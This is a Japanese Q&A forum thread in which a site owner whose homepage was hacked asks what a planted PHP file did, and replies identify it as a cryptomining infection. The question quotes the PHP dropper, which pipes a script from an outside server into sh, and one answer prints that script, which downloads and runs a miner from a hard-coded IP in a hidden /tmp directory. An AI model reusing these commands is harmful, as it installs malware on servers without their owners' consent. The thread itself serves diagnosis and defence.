HPがハッキングされました。実行されたファイルの意味が知りたいです。

Question

HPがハッキングされ、新しく作成されていたファイルに以下のように書き込まれていました。

何が実行されたのでしょうか？

<?php
//with love from moscow <3
exec('if curl 127.0.0.1 -o /dev/null 2>/dev/null; then curl -o - http://vps112041.ovh.net/1039.txt|sh; else wget -O - http://vps112041.ovh.net/1039.txt|sh; fi');
echo 'done';
?>

Answer 1

以下のウイルスの設置あるいは感染のようですね。専門家に分析・駆除をしてもらうことをお勧めします。

https://www.virustotal.com/ja/file/dd301110eb8ba504f78aed0cd2be0a28af0f5a06b2155ed0f25a5a371b73ca42/analysis/

---

（追記）
設置されたファイルの除去だけならセキュリティの専門家でなくてもできると思いますが、侵入経路を調べてそこを手当しないと、再度同じ方法で侵入されますよ。

Comments

[NOOSE]

ありがとうございます。

侵入経路を調べようと思います。

Answer 2

でこにく さんのサーバ異常負荷解決のお手伝いをしました

これみたいですね。

Comments

[退会済みユーザー]

あー、予想してたとおり、マイニング関係なんですね、やっぱり…。

[退会済みユーザー]

ですね＾＾；

[NOOSE]

みなさま、ありがとうございました。

Answer 3

こんなシェルスクリプトをwgetしてshに渡してますね。
とりあえず、内容はこれから読んでみます。

#!/bin/bash

pkill -f xmr

isTmp=true
echo "echo 1" > /tmp/7000007
chmod 777 /tmp/7000007
if ! /tmp/7000007; then
	isTmp=false
fi

if wget -q 127.0.0.1 -O /dev/null; then
	if ! $isTmp ; then
		mkdir -p .123 && cd .123 && wget -O xmr http://37.59.105.27/u_v3_w.txt && chmod 777 xmr && ./xmr
	else
		cd /tmp/ && mkdir -p .123 && cd .123 && wget -O xmr http://37.59.105.27/u_v3_w.txt && chmod 777 xmr && ./xmr
	fi
else
	if ! $isTmp ; then
		mkdir -p .123 && cd .123 && curl -o xmr http://37.59.105.27/u_v3_w.txt && chmod 777 xmr && ./xmr
	else
		cd /tmp/ && mkdir -p .123 && cd .123 && curl -o xmr http://37.59.105.27/u_v3_w.txt && chmod 777 xmr && ./xmr
	fi
fi

Comments

[退会済みユーザー]

http://37.59.105.27/u_v3_w.txt　は、安全ではないのでNortonさんが自動で削除してくれちゃう感じですね…。

[退会済みユーザー]

37.59.96.0 - 37.59.127.255 は意外にもフランスさんか…。